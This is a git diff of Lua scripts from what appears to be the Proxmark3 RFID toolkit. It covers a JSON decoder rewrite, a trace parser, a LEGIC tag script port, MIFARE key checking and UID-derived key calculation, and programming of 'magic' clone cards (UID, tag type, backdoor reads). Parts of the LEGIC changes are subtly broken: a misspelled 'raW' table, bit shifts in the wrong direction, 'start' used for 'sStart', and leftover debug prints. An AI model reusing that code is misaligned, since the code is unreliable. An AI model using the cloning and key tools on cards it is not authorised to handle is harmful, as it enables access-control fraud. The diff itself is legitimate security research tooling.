ErrorUnterminatedCall (str, start, "array", state) + end pos = npos - nt = nt + 1 - t[nt] = obj - until cont == 'last' + if cont == 'cont' or cont == 'last' then + nt = nt + 1 + t[nt] = obj + end + until cont ~= 'cont' return pos, setmetatable (t, state.arraymeta) end local function parseobject (str, pos, nullval, state) local obj, key, cont + local start = pos local npos local t = {} repeat key, obj, cont, npos = pegmatch (ObjectContent, str, pos, nullval, state) - if not npos then break end + if cont == 'end' then + return ErrorUnterminatedCall (str, start, "object", state) + end pos = npos - t[key] = obj - until cont == 'last' + if cont == 'cont' or cont == 'last' then + t[key] = obj + end + until cont ~= 'cont' return pos, setmetatable (t, state.objectmeta) end - local Array = P"[" * g.Cmt (g.Carg(1) * g.Carg(2), parsearray) * Space * (P"]" + Err "']' expected") - local Object = P"{" * g.Cmt (g.Carg(1) * g.Carg(2), parseobject) * Space * (P"}" + Err "'}' expected") + local Array = P"[" * g.Cmt (g.Carg(1) * g.Carg(2), parsearray) + local Object = P"{" * g.Cmt (g.Carg(1) * g.Carg(2), parseobject) local Value = Space * (Array + Object + SimpleValue) local ExpectedValue = Value + Space * Err "value expected" - ArrayContent = Value * Space * (P"," * g.Cc'cont' + g.Cc'last') * g.Cp() - local Pair = g.Cg (Space * String * Space * (P":" + Err "colon expected") * ExpectedValue) - ObjectContent = Pair * Space * (P"," * g.Cc'cont' + g.Cc'last') * g.Cp() + local ExpectedKey = String + Err "key expected" + local End = P(-1) * g.Cc'end' + local ErrInvalid = Err "invalid JSON" + ArrayContent = (Value * Space * (P"," * g.Cc'cont' + P"]" * g.Cc'last'+ End + ErrInvalid) + g.Cc(nil) * (P"]" * g.Cc'empty' + End + ErrInvalid)) * g.Cp() + local Pair = g.Cg (Space * ExpectedKey * Space * (P":" + Err "colon expected") * ExpectedValue) + ObjectContent = (g.Cc(nil) * g.Cc(nil) * P"}" * g.Cc'empty' + End + (Pair * Space * (P"," * g.Cc'cont' + P"}" * g.Cc'last' + End + ErrInvalid) + ErrInvalid)) * g.Cp() local DecodeValue = ExpectedValue * g.Cp () - function json.decode (str, pos, nullval, ...) + jsonlpeg.version = json.version + jsonlpeg.encode = json.encode + jsonlpeg.null = json.null + jsonlpeg.quotestring = json.quotestring + jsonlpeg.addnewline = json.addnewline + jsonlpeg.encodeexception = json.encodeexception + jsonlpeg.using_lpeg = true + + function jsonlpeg.decode (str, pos, nullval, ...) local state = {} state.objectmeta, state.arraymeta = optionalmetatables(...) local obj, retpos = pegmatch (DecodeValue, str, pos, nullval, state) @@ -698,16 +737,15 @@ function json.use_lpeg () end end - -- use this function only once: - json.use_lpeg = function () return json end + -- cache result of this function: + json.use_lpeg = function () return jsonlpeg end + jsonlpeg.use_lpeg = json.use_lpeg - json.using_lpeg = true - - return json -- so you can get the module using json = require "dkjson".use_lpeg() + return jsonlpeg end -if always_try_using_lpeg then - pcall (json.use_lpeg) +if always_use_lpeg then + return json.use_lpeg() end return json diff --git a/client/lualibs/trace_parse.lua b/client/lualibs/trace_parse.lua new file mode 100644 index 000000000..5e132936a --- /dev/null +++ b/client/lualibs/trace_parse.lua @@ -0,0 +1,98 @@ +--[[ + Simple Trace Parser library + + -- fair warning, this is best to just get trace data values, I didn't see any better implementation for this, so I just made one myself + + -- Example Usage + -- Load the traceParser library + local traceParser = require("trace_parse") + + -- Parse the trace file + local trace_data = traceParser.parse_trace_file(filename) + + -- Print the parsed data + for _, record in ipairs(trace_data) do + -- Format the data bytes + local data_bytes = {} + for i = 1, #record.data do + table.insert(data_bytes, string.format("%02X", record.data:byte(i))) + end + local data_str = table.concat(data_bytes, "") + print("Data: " .. data_str) + end + + ]] + +local bit = require("bit") -- Requires Lua bitwise library (bit) +local traceParser = {} + +-- Function to read a 4-byte unsigned integer (little-endian) +local function read_u32_le(data, pos) + if pos + 3 > #data then return nil, pos end + local b1, b2, b3, b4 = data:byte(pos, pos + 3) + return (b4 * 2^24) + (b3 * 2^16) + (b2 * 2^8) + b1, pos + 4 +end + +-- Function to read a 2-byte unsigned integer (little-endian) +local function read_u16_le(data, pos) + if pos + 1 > #data then return nil, pos end + local b1, b2 = data:byte(pos, pos + 1) + return (b2 * 2^8) + b1, pos + 2 +end + +-- Function to parse a single record from the trace file +local function parse_record(trace, pos) + local record = {} + + -- Read the 32-bit timestamp (4 bytes, little-endian) + record.timestamp_start, pos = read_u32_le(trace, pos) + + -- Read the 16-bit duration (2 bytes, little-endian) + record.duration, pos = read_u16_le(trace, pos) + + -- Read the 15-bit data length and 1-bit isResponse flag + local data_len_and_flag, pos = read_u16_le(trace, pos) + record.data_len = bit.band(data_len_and_flag, 0x7FFF) -- 15 bits for data length + record.is_response = bit.rshift(data_len_and_flag, 15) == 1 -- 1 bit for isResponse + + -- Read the data bytes + record.data, pos = trace:sub(pos, pos + record.data_len - 1), pos + record.data_len + + -- Read the parity bytes (parity length is ceil(data_len / 8)) + local parity_len = math.ceil(record.data_len / 8) + record.parity, pos = trace:sub(pos, pos + parity_len - 1), pos + parity_len + + return record, pos +end + +-- Function to parse the entire trace file +function traceParser.parse_trace_file(file_path) + local trace_data = {} + local trace_file = io.open(file_path, "rb") + + if not trace_file then + error("Could not open file: " .. file_path) + end + + -- Read the entire content of the file + local content = trace_file:read("*all") + trace_file:close() + + -- Parse records in the file + local pos = 1 + while pos <= #content do + local record + record, pos = parse_record(content, pos) + if record then + table.insert(trace_data, record) + else + break -- Stop if the record is invalid or incomplete + end + end + + return trace_data +end + + +return traceParser + diff --git a/client/luascripts/hf_14a_read-ltocm.lua b/client/luascripts/hf_14a_read_ltocm.lua similarity index 100% rename from client/luascripts/hf_14a_read-ltocm.lua rename to client/luascripts/hf_14a_read_ltocm.lua diff --git a/client/luascripts/hf_legic.lua b/client/luascripts/hf_legic.lua index fb98b777e..495b1a951 100644 --- a/client/luascripts/hf_legic.lua +++ b/client/luascripts/hf_legic.lua @@ -105,8 +105,8 @@ local ansicolors = require('ansicolors') --- -- global variables / defines -local bxor = bit32.bxor -local bbit = bit32.extract +-- local bxor = bit32.bxor +-- local bbit = bit32.extract local input = utils.input local confirm = utils.confirm @@ -296,7 +296,8 @@ end -- xor single byte function xorme(hex, xor, index) if ( index >= 23 ) then - return ('%02x'):format(bxor( tonumber(hex,16) , tonumber(xor,16) )) + --return ('%02x'):format(bxor( tonumber(hex,16) , tonumber(xor,16) )) + return string.format("%x", tonumber(hex,16) ~ tonumber(xor,16)) else return hex end @@ -332,14 +333,29 @@ local function split(str, sep) return fields end +--- +-- join table with a separator +local function join(list, sep) + local sep = sep or ',' + local len = #list + if len == 0 then return "" end + local s = list[1] + for i = 2, len do + s = s .. sep .. list[i] + end + return s +end + --- -- check availability of file function file_check(file_name) if not file_name then return false, "" end local arr = split(file_name, ".") - local path = core.search_file(arr[1], "."..arr[2]) - if (path == nil) then return false end + local ext = table.remove(arr) + local name = join(arr, '.') + local path = core.search_file(name, "."..ext) + if (path == nil) then return false, "" end local file_found = io.open(path, "r") if file_found == nil then @@ -380,7 +396,9 @@ function getInputBytes(infile) local bytes = {} local arr = split(infile, ".") - local path = core.search_file(arr[1], "."..arr[2]) + local ext = table.remove(arr) + local name = join(arr, '.') + local path = core.search_file(name, "."..ext) if (path == nil) then oops("failed to read from file ".. infile); return false; end local fhi,err = io.open(path,"rb") @@ -438,12 +456,17 @@ function bytesToTag(bytes, tag) tag.raw =padString(bytes[8]); tag.SSC =padString(bytes[9]); tag.Type=getTokenType(tag.DCFl); - tag.OLE=bbit("0x"..tag.DCFl,7,1) - tag.WRP=("%d"):format(bbit("0x"..bytes[8],0,4)) - tag.WRC=("%d"):format(bbit("0x"..bytes[8],4,3)) - tag.RD=("%d"):format(bbit("0x"..bytes[8],7,1)) + --tag.OLE=bbit("0x"..tag.DCFl,7,1) + tag.OLE=(tonumber(tag.DCFl, 16) >> 7) & 0x01 + --tag.WRP=("%d"):format(bbit("0x"..bytes[8],0,4)) + tag.WRP=string.format("%02d", tonumber(bytes[8], 16) & 0x0F) + --tag.WRC=("%d"):format(bbit("0x"..bytes[8],4,3)) + tag.WRC = string.format("%02d", (tonumber(bytes[8], 16) >> 4) & 0x07) + --tag.RD=("%d"):format(bbit("0x"..bytes[8],7,1)) + tag.RD=string.format("%02d", (tonumber(bytes[8],16) >> 7) & 0x01) if (tag.Type=="SAM" and tag.raw=='9f') then - tag.Stamp_len=(tonumber(0xfc,10)-tonumber(bbit("0x"..tag.DCFh,0,8),10)) + tag.Stamp_len=(0xfc - tonumber(tag.DCFh,16) & 0xFF) + --tag.Stamp_len=(0xfc-bbit("0x"..tag.DCFh,0,8)) elseif (tag.Type=="SAM" and (tag.raw=='08' or tag.raw=='09')) then tag.Stamp_len = tonumber(tag.raw,10) end @@ -756,20 +779,16 @@ end -- read from pm3 into virtual-tag function readFromPM3() local tag, bytes, infile - --infile="legic.temp" infile=getRandomTempName() core.console("hf legic dump -f "..infile) tag=readFile(infile..".bin") res, path = file_check(infile..".bin") - if not res then return nil end - os.remove(path) + if res then os.remove(path) end - res, path = file_check(infile..".eml") - os.remove(path) res, path = file_check(infile..".json") - os.remove(path) + if res then os.remove(path) end return tag end @@ -1249,7 +1268,8 @@ function mapAllSegments(tag, tagMap) -- wrp (write proteted) = byte 2 WRP = tonumber(bytes[v['start']+2],16) -- wrc (write control) - bit 4-6 of byte 3 - WRC = tonumber(bbit("0x"..bytes[v['start']+3],4,3),16) + --WRC = tonumber(bbit("0x"..bytes[v['start']+3],4,3),16) + WRC = (tonumber(bytes[v['start']+3],16) >> 4) & 0x07 --tagMap=mapTokenData(tagMap, 'Segment '..("%02d"):format(v['index']).." HDR", v['start'], v['start']+3) tagMap=mapTokenData(tagMap, 'Segment '..("%02d"):format(v['index']).." CRC", v['start']+4, v['start']+4, true) table.insert(tagMap.crc8, {name = 'Segment '..("%02d"):format(v['index']).." CRC", pos=v['start']+4, seq={1,4,v['start'],v['start']+3}} ) @@ -1690,7 +1710,8 @@ function getTokenType(DCFl) 0x30–0x6f SAM 0x70–0x7f GAM ]]-- - local tt = tonumber(bbit("0x"..DCFl,0,7),10) + --local tt = bbit("0x"..DCFl,0,7) + local tt = tonumber(DCFl, 16) & 0x7F if (tt >= 0 and tt <= 47) then tt = "IAM" elseif (tt == 49) then tt = "SAM63" elseif (tt == 48) then tt = "SAM64" @@ -1734,24 +1755,29 @@ function getSegmentData(bytes, start, index) -- flag = high nibble of byte 1 segment.flag = string.sub(bytes[start+1],0,1) -- valid = bit 6 of byte 1 - segment.valid = bbit("0x"..bytes[start+1],6,1) + --segment.valid = bbit("0x"..bytes[start+1],6,1) + segment.valid = (tonumber(bytes[start+1], 16) >> 6) & 0x01 -- last = bit 7 of byte 1 - segment.last = bbit("0x"..bytes[start+1],7,1) + --segment.last = bbit("0x"..bytes[start+1],7,1) + segment.last = (tonumber(bytes[start+1], 16) >> 7) & 0x01 -- len = (byte 0)+(bit0-3 of byte 1) - segment.len = tonumber(bbit("0x"..bytes[start+1],0,4)..bytes[start],16) + --segment.len = tonumber(bbit("0x"..bytes[start+1],0,4)..bytes[start],16) + segment.len = ((tonumber(bytes[start+1], 16) & 0x0F) << 8) + tonumber(bytes[start], 16) -- raw segment header - segment.raw = {bytes[start], bytes[start+1], bytes[start+2], bytes[start+3]} + segment.raw = {padString(bytes[start]), padString(bytes[start+1]), padString(bytes[start+2]), padString(bytes[start+3])} -- wrp (write proteted) = byte 2 segment.WRP = tonumber(bytes[start+2],16) -- wrc (write control) - bit 4-6 of byte 3 - segment.WRC = tonumber(bbit("0x"..bytes[start+3],4,3),16) + --segment.WRC = bbit("0x"..bytes[start+3],4,3) + segment.WRC = (tonumber(bytes[start+3], 16) >> 4) & 0x07 -- rd (read disabled) - bit 7 of byte 3 - segment.RD = tonumber(bbit("0x"..bytes[start+3],7,1),16) + --segment.RD = bbit("0x"..bytes[start+3],7,1) + segment.RD = (tonumber(bytes[start+3],16) >> 7) & 0x01 -- crc byte 4 - segment.crc = bytes[start+4] + segment.crc = padString(bytes[start+4]) -- segment-data starts at segment.len - segment.header - segment.crc for i=0, (segment.len-5) do - segment.data[i]=bytes[start+5+i] + segment.data[i]=padString(bytes[start+5+i]) end return segment else return false; @@ -1768,11 +1794,14 @@ function getSegmentStats(bytes) repeat local s={} -- valid = bit 6 of byte 1 - sValid = bbit("0x"..bytes[sStart+1],6,1) + -- sValid = bbit("0x"..bytes[sStart+1],6,1) + sValid = (tonumber(bytes[sStart+1],16) >> 6) & 0x01 -- last = bit 7 of byte 1 - sLast = bbit("0x"..bytes[sStart+1],7,1) + --sLast = bbit("0x"..bytes[sStart+1],7,1) + sLast = (tonumber(bytes[sStart+1],16) >> 7) & 0x01 -- len = (byte 0)+(bit0-3 of byte 1) - sLen = tonumber(bbit("0x"..bytes[sStart+1],0,4)..bytes[sStart],16) + --sLen = tonumber(bbit("0x"..bytes[sStart+1],0,4)..bytes[sStart],16) + sLen = ((tonumber(bytes[start+1],16) & 0x0F) << 8) + tonumber(bytes[start],16) --print("index: "..("%02d"):format(x).." Len: "..sLen.." start:"..sStart.." end: "..(sStart+sLen-1)) s['index']=x s['start']=sStart @@ -1795,11 +1824,14 @@ function regenSegmentHeader(segment) local raw = segment.raw local i -- len bit0..7 | len=12bit=low nibble of byte1..byte0 - raw[1]=("%02x"):format(bbit("0x"..("%03x"):format(seg.len),0,8)) + --raw[1]=("%02x"):format(bbit("0x"..("%03x"):format(seg.len),0,8)) + raw[1] = seg.len & 0xFF -- high nibble of len bit6=valid , bit7=last of byte 1 | ?what are bit 5+6 for? maybe kgh? - raw[2]=("%02x"):format(bbit("0x"..("%03x"):format(seg.len),8,4)+bbit("0x"..("%02x"):format((seg.valid*64)+(seg.last*128)),0,8)) + --raw[2]=("%02x"):format(bbit("0x"..("%03x"):format(seg.len),8,4)+bbit("0x"..("%02x"):format((seg.valid*64)+(seg.last*128)),0,8)) + raW[2] = (seg.len >> 8) & 0xF | (seg.valid >> 6) | (seg.last >> 7) -- WRP - raw[3]=("%02x"):format(bbit("0x"..("%02x"):format(seg.WRP),0,8)) + -- raw[3]=("%02x"):format(bbit("0x"..("%02x"):format(seg.WRP),0,8)) + raw[3] = seg.WRP -- WRC + RD raw[4]=("%02x"):format(tonumber((seg.WRC*16)+(seg.RD*128),10)) -- flag @@ -2128,6 +2160,8 @@ end --- -- chack for signature of a 'Legic-Cash-Segment' function check4LegicCash(data, uid) + +print("### #data: " .. #data) if(#data==32) then local stamp_len=(#data-25) local stamp="" diff --git a/client/luascripts/hf_mf_keycheck.lua b/client/luascripts/hf_mf_keycheck.lua index 59680cbe4..53a003ebc 100644 --- a/client/luascripts/hf_mf_keycheck.lua +++ b/client/luascripts/hf_mf_keycheck.lua @@ -60,8 +60,8 @@ end -- waits for answer from pm3 device local function checkCommand(response) if not response then - print("Timeout while waiting for response. Increase TIMEOUT in hf_mf_keycheck.lua to wait longer") - return nil, "Timeout while waiting for device to respond" + print("timeout while waiting for reply. Increase TIMEOUT in hf_mf_keycheck.lua to wait longer") + return nil, "timeout while waiting for reply" end if response.Status == PM3_SUCCESS then @@ -119,7 +119,7 @@ local function display_results(keys) print('|---|----------------|---|----------------|---|') for sector = 0, #keys do - succA, succB, keyA, keyB = unpack(keys[sector]) + succA, succB, keyA, keyB = table.unpack(keys[sector]) print(('|%03d| %s | %s | %s | %s |'):format(sector, keyA, succA, keyB, succB)) end print('|---|----------------|---|----------------|---|') @@ -180,7 +180,7 @@ local function dumptofile(uid, keys) --for sector,_ in pairs(keys) do for sector = 0, #keys do - local succA, succB, keyA, keyB = unpack(keys[sector]) + local succA, succB, keyA, keyB = table.unpack(keys[sector]) key_a = key_a .. bin.pack('H', keyA); key_b = key_b .. bin.pack('H', keyB); end @@ -216,13 +216,13 @@ local function perform_check(uid, numsectors) for sector = 0, #keys do -- Check if user aborted if core.kbd_enter_pressed() then - print('Aborted by user') + print('Aborted via keyboard!') break end local targetblock = tonumber(get_blockno(sector), 16) - local succA, succB, keyA, keyB = unpack(keys[sector]) + local succA, succB, keyA, keyB = table.unpack(keys[sector]) local keyA = checkBlock(targetblock, keylist, 0) if keyA then succA = 1; keylist = placeFirst(keyA, keylist) end diff --git a/client/luascripts/hf_mf_uidkeycalc.lua b/client/luascripts/hf_mf_uidkeycalc.lua index 88330ae85..dd2ca6c3a 100644 --- a/client/luascripts/hf_mf_uidkeycalc.lua +++ b/client/luascripts/hf_mf_uidkeycalc.lua @@ -94,7 +94,7 @@ local function dumptofile(uid, keys) local key_b = '' for sector = 0, #keys do - local keyA, keyB = unpack(keys[sector]) + local keyA, keyB = table.unpack(keys[sector]) key_a = key_a .. bin.pack('H', keyA); key_b = key_b .. bin.pack('H', keyB); end @@ -124,7 +124,7 @@ local function printKeys(keys) print('|sec|key A |res|key B |res|') print('|---|----------------|---|----------------|---|') for sector = 0, #keys do - local keyA, keyB = unpack(keys[sector]) + local keyA, keyB = table.unpack(keys[sector]) print(('|%03d| %s | %s | %s | %s |'):format(sector, keyA, 1, keyB, 1)) end print('|---|----------------|---|----------------|---|') diff --git a/client/luascripts/hf_mf_uidkeycalc_mizip.lua b/client/luascripts/hf_mf_uidkeycalc_mizip.lua index 902aeeda8..b2a0992d5 100644 --- a/client/luascripts/hf_mf_uidkeycalc_mizip.lua +++ b/client/luascripts/hf_mf_uidkeycalc_mizip.lua @@ -97,7 +97,7 @@ local function dumptofile(uid, keys) local key_b = '' for sector = 0, #keys do - local keyA, keyB = unpack(keys[sector]) + local keyA, keyB = table.unpack(keys[sector]) key_a = key_a .. bin.pack('H', keyA); key_b = key_b .. bin.pack('H', keyB); end @@ -115,6 +115,7 @@ end -- create key local function calckey(uid, xorkey, keytype) local p1,p2,p3,p4,p5,p6 + print("calckey()") if keytype == 'A' then p1 = bxor( uid[1], xorkey[1]) p2 = bxor( uid[2], xorkey[2]) @@ -139,7 +140,7 @@ local function printKeys(keys) print('|sec|key A |res|key B |res|') print('|---|----------------|---|----------------|---|') for sector = 0, #keys do - local keyA, keyB = unpack(keys[sector]) + local keyA, keyB = table.unpack(keys[sector]) print(('|%03d| %s | %s | %s | %s |'):format(sector, keyA, 1, keyB, 1)) end print('|---|----------------|---|----------------|---|') diff --git a/client/luascripts/hf_mf_ultimatecard.lua b/client/luascripts/hf_mf_ultimatecard.lua index 26a5aaee2..e3529e366 100644 --- a/client/luascripts/hf_mf_ultimatecard.lua +++ b/client/luascripts/hf_mf_ultimatecard.lua @@ -50,20 +50,20 @@ arguments = [[ -c read magic configuration -u UID (8-20 hexsymbols), set UID on tag -t tag type to impersonate - 1 = Mifare Mini S20 4-byte - 2 = Mifare Mini S20 7-byte 15 = NTAG 210 - 3 = Mifare Mini S20 10-byte 16 = NTAG 212 - 4 = Mifare 1k S50 4-byte 17 = NTAG 213 - 5 = Mifare 1k S50 7-byte 18 = NTAG 215 - 6 = Mifare 1k S50 10-byte 19 = NTAG 216 - 7 = Mifare 4k S70 4-byte 20 = NTAG I2C 1K - 8 = Mifare 4k S70 7-byte 21 = NTAG I2C 2K - 9 = Mifare 4k S70 10-byte 22 = NTAG I2C 1K PLUS - *** 10 = UL - NOT WORKING FULLY 23 = NTAG I2C 2K PLUS - *** 11 = UL-C - NOT WORKING FULLY 24 = NTAG 213F - 12 = UL EV1 48b 25 = NTAG 216F - 13 = UL EV1 128b - *** 14 = UL Plus - NOT WORKING YET + 1 = Mifare Mini S20 4-byte | 15 = NTAG 210 + 2 = Mifare Mini S20 7-byte | 16 = NTAG 212 + 3 = Mifare Mini S20 10-byte | 17 = NTAG 213 + 4 = Mifare 1k S50 4-byte | 18 = NTAG 215 + 5 = Mifare 1k S50 7-byte | 19 = NTAG 216 + 6 = Mifare 1k S50 10-byte | 20 = NTAG I2C 1K + 7 = Mifare 4k S70 4-byte | 21 = NTAG I2C 2K + 8 = Mifare 4k S70 7-byte | 22 = NTAG I2C 1K PLUS + 9 = Mifare 4k S70 10-byte | 23 = NTAG I2C 2K PLUS + *** 10 = UL - NOT WORKING FULLY | 24 = NTAG 213F + *** 11 = UL-C - NOT WORKING FULLY | 25 = NTAG 216F + 12 = UL EV1 48b | + 13 = UL EV1 128b | + *** 14 = UL Plus - NOT WORKING YET | -p NTAG password (8 hexsymbols), set NTAG password on tag. -a NTAG pack ( 4 hexsymbols), set NTAG pack on tag. @@ -75,7 +75,11 @@ arguments = [[ -z ATS (<1b length><0-16 ATS> hexsymbols), Configure ATS. Length set to 00 will disable ATS. -w Wipe tag. 0 for Mifare or 1 for UL. Fills tag with zeros and put default values for type selected. -m Ultralight mode (00 UL EV1, 01 NTAG, 02 UL-C, 03 UL) Set type of UL. - -n Ultralight protocol (00 MFC, 01 UL), switches between UL and MFC mode + -n Ultralight protocol (00 MFC, 01 UL), switches between UL and MFC mode]] +-- Need to split because reached maximum string length processed by lua +arguments2 = [[ + -b Set maximum read/write blocks (2 hexsymbols) + NOTE: Ultralight EV1 and NTAG Version info and Signature are stored respectively in blocks 250-251 and 242-249 -k Ultimate Magic Card Key (IF DIFFERENT THAN DEFAULT 00000000) ]] --- @@ -110,6 +114,7 @@ local function help() print(usage) print(ansicolors.cyan..'Arguments'..ansicolors.reset) print(arguments) + print(arguments2) print(ansicolors.cyan..'Example usage'..ansicolors.reset) print(example) end @@ -186,12 +191,13 @@ local function read_config() end -- extract data from CONFIG - based on CONFIG in https://github.com/RfidResearchGroup/proxmark3/blob/master/doc/magic_cards_notes.md#gen-4-gtu ulprotocol, uidlength, readpass, gtumode, ats, atqa1, atqa2, sak, ulmode = magicconfig:sub(1,2), magicconfig:sub(3,4), magicconfig:sub(5,12), magicconfig:sub(13,14), magicconfig:sub(15,48), magicconfig:sub(51,52), magicconfig:sub(49,50), magicconfig:sub(53,54), magicconfig:sub(55,56) + maxRWblk = magicconfig:sub(57, 58) atqaf = atqa1..' '..atqa2 cardtype, cardprotocol, gtustr, atsstr = 'unknown', 'unknown', 'unknown', 'unknown' if magicconfig == nil then lib14a.disconnect(); return nil, "can't read configuration, "..err_lock end if #magicconfig ~= 64 and #magicconfig ~= 68 then lib14a.disconnect(); return nil, "partial read of configuration, "..err_lock end if gtumode == '00' then gtustr = 'Pre-write/Shadow Mode' - elseif gtumode == '01' then gtustr = 'Restore Mode' + elseif gtumode == '01' or gtumode == '04' then gtustr = 'Restore Mode' elseif gtumode == '02' then gtustr = 'Disabled' elseif gtumode == '03' then gtustr = 'Disabled, high speed R/W mode for Ultralight' end @@ -291,6 +297,7 @@ local function read_config() print(' - Version ', cversion) print(' - Signature ', signature1..signature2) end + print(' - Max R/W Block ', maxRWblk) end lib14a.disconnect() return true, 'Ok' @@ -553,7 +560,7 @@ local function write_gtu(gtu) if gtu == '00' then print('Enabling GTU Pre-Write') send('CF'.._key..'32'..gtu) - elseif gtu == '01' then + elseif gtu == '01' or gtu == '04' then print('Enabling GTU Restore Mode') send('CF'.._key..'32'..gtu) elseif gtu == '02' then @@ -637,6 +644,26 @@ local function write_ulm(ulm) return true, 'Ok' end --- +-- Write maximum read/write block number, +local function write_maxRWblk(data) + -- input number check + if data == nil then return nil, 'empty block number' end + if #data == 0 then return nil, 'empty block number' end + if #data ~= 2 then return nil, 'block number wrong length. Should be 1 hex byte' end + + print('Set max R/W block', data) + local info = connect() + if not info then return false, "Can't select card" end + local resp + -- set maximum read/write block + resp = send("CF".._key.."6B"..data) + lib14a.disconnect() + if resp ~= '9000FD07' then return nil, 'Failed to write maximum read/write block' + else + return true, 'Ok' + end +end +--- -- Set type for magic card presets. local function set_type(tagtype) -- tagtype checks @@ -649,6 +676,7 @@ local function set_type(tagtype) send("CF".._key.."F000000000000002000978009102DABC19101011121314151604000900") lib14a.disconnect() write_uid('04112233') + write_maxRWblk('13') -- Setting Mifare mini S20 7-byte elseif tagtype == 2 then print('Setting: Ultimate Magic card to Mifare mini S20 7-byte') @@ -656,6 +684,7 @@ local function set_type(tagtype) send("CF".._key.."F000010000000002000978009102DABC19101011121314151644000900") lib14a.disconnect() write_uid('04112233445566') + write_maxRWblk('13') -- Setting Mifare mini S20 10-byte elseif tagtype == 3 then print('Setting: Ultimate Magic card to Mifare mini S20 10-byte') @@ -663,6 +692,7 @@ local function set_type(tagtype) send("CF".._key.."F000020000000002000978009102DABC19101011121314151684000900") lib14a.disconnect() write_uid('04112233445566778899') + write_maxRWblk('13') -- Setting Mifare 1k S50 4--byte elseif tagtype == 4 then print('Setting: Ultimate Magic card to Mifare 1k S50 4-byte') @@ -670,6 +700,7 @@ local function set_type(tagtype) send("CF".._key.."F000000000000002000978009102DABC19101011121314151604000800") lib14a.disconnect() write_uid('04112233') + write_maxRWblk('3F') -- Setting Mifare 1k S50 7-byte elseif tagtype == 5 then print('Setting: Ultimate Magic card to Mifare 1k S50 7-byte') @@ -677,6 +708,7 @@ local function set_type(tagtype) send("CF".._key.."F000010000000002000978009102DABC19101011121314151644000800") lib14a.disconnect() write_uid('04112233445566') + write_maxRWblk('3F') -- Setting Mifare 1k S50 10-byte elseif tagtype == 6 then print('Setting: Ultimate Magic card to Mifare 1k S50 10-byte') @@ -684,6 +716,7 @@ local function set_type(tagtype) send("CF".._key.."F000020000000002000978009102DABC19101011121314151684000800") lib14a.disconnect() write_uid('04112233445566778899') + write_maxRWblk('3F') -- Setting Mifare 4k S70 4-byte elseif tagtype == 7 then print('Setting: Ultimate Magic card to Mifare 4k S70 4-byte') @@ -691,6 +724,7 @@ local function set_type(tagtype) send("CF".._key.."F000000000000002000978009102DABC19101011121314151602001800") lib14a.disconnect() write_uid('04112233') + write_maxRWblk('FF') -- Setting Mifare 4k S70 7-byte elseif tagtype == 8 then print('Setting: Ultimate Magic card to Mifare 4k S70 7-byte') @@ -698,6 +732,7 @@ local function set_type(tagtype) send("CF".._key.."F000010000000002000978009102DABC19101011121314151642001800") lib14a.disconnect() write_uid('04112233445566') + write_maxRWblk('FF') -- Setting Mifare 4k S70 10-byte elseif tagtype == 9 then print('Setting: Ultimate Magic card to Mifare 4k S70 10-byte') @@ -705,6 +740,7 @@ local function set_type(tagtype) send("CF".._key.."F000020000000002000978009102DABC19101011121314151682001800") lib14a.disconnect() write_uid('04112233445566778899') + write_maxRWblk('FF') -- Setting UL elseif tagtype == 10 then print('Setting: Ultimate Magic card to UL') @@ -1016,7 +1052,7 @@ function main(args) local err, msg if #args == 0 then return help() end -- Read the parameters - for o, a in getopt.getopt(args, 'hck:u:t:p:a:s:o:v:q:g:z:n:m:w:') do + for o, a in getopt.getopt(args, 'hck:u:t:p:a:s:o:v:q:g:z:n:m:w:b:') do -- help if o == "h" then return help() end -- set Ultimate Magic Card Key for read write @@ -1049,6 +1085,8 @@ function main(args) if o == "m" then err, msg = write_ulm(a) end -- write UL protocol if o == "n" then err, msg = write_ulp(a) end + -- write max r/w block + if o == "b" then err, msg = write_maxRWblk(a) end if err == nil then return oops(msg) end end end diff --git a/client/luascripts/hf_mf_uscuid_prog.lua b/client/luascripts/hf_mf_uscuid_prog.lua index b5dcbcd87..344747f90 100644 --- a/client/luascripts/hf_mf_uscuid_prog.lua +++ b/client/luascripts/hf_mf_uscuid_prog.lua @@ -2,67 +2,82 @@ local cmds = require('commands') local getopt = require('getopt') local lib14a = require('read14a') local utils = require('utils') -local ansicolors = require('ansicolors') +local cl = require('ansicolors') local bxor = bit32.bxor - copyright = '\nLicensed under GNU GPL v3.0. Team orangeBlue.' -author = 'Team '..ansicolors.yellow..'orange'..ansicolors.cyan..'Blue'..ansicolors.reset -- Disinformation -version = 'v1.0' -date = 'Created - Aug 2023' +author = 'Team '..cl.yellow..'orange'..cl.cyan..'Blue'..cl.reset -- Disinformation +version = 'v1.0.1' desc = [[ -Script to set UID on USCUID using any means possible. No warranties given! -See below for capabilities. +Script to set UID on USCUID using any means possible. This script is compatible with the ICs listed below: * GDMIC * UCUID * M1-7B * Other chips, showing up as "Gen 4 GDM" -This script does not claim full compatibility with the ICs listed below: + +This script does *NOT* claim full compatibility with the ICs listed below: * UFUID * PFUID* -WHY? Unfortunately, these are cut down versions. Checks show that they only acknowledge bytes 0-1, 7, 8, and 15 of the configuration. +Why? +Unfortunately, these are cut down versions. +Checks show that they only acknowledge bytes 0-1, 7, 8, and 15 of the configuration. * WARNING: The config commands are inversed. Nothing will work. -Ready to start? Set the first 2 bytes of your config to 7AFF and use -t 4. +Ready to start? + +Set the first 2 bytes of your config to 7AFF and use -t 4. + ]] example = [[ -- Set UID 7 bytes long via 20-23 wakeup 1. script run hf_mf_uscuid_prog -t 2 -u 04A72B85489F51 + -- Set UID 4 bytes long via 40-43 wakeup 2. script run hf_mf_uscuid_prog -t 4 -u A72B571 + -- Read sector 0 + 3. script run hf_mf_uscuid_prog -S 0 ]] usage = [[ -script run hf_mf_uscuid_uid_prog [-h] [-u ] [-t] [-3] [-s ] [-w 1] [-R/-B ] [-S/-E ] [-g/-c/-b/-2/-7/-d/-a/-n/-r <0/1>] +script run hf_mf_uscuid_uid_prog [-h] [-u ] [-t] [-3] [-s ] [-w 1] [-R -B ] [-S -E ] [-g -c -b -2 -7 -d -a -n -r <0/1>] ]] arguments = [[ -h this help -t Magic wakeup type (2 for 0x20, 4 for 0x40) -u New tag UID -s New signature data + -3 Update UID for F3 Perso -w 1 Wipe tag (take caution!) - -R Read block + -B Read backdoor block - -S Read sector -E Read backdoor sector + -R Read block + -S Read sector + [ConfigStar] - To enable an option, pass "1". To disable, pass "0". Unmarked data will not be edited. - -g Gen1 mode - -c Gen1 command (1 for 20-23; 0 for 40-43) - -b Block key B if readable by ACL - -2 Gen2/CUID mode - -7 CL2 mode (1 for F0 unfused; 0 for off) - -d Shadow mode + Unmarked data will not be edited. + + How to use: + To ENABLE an option, pass "1" + To DISABLE an option, pass "0" + -a Magic auth + -b Block key B if readable by ACL + -c Gen1 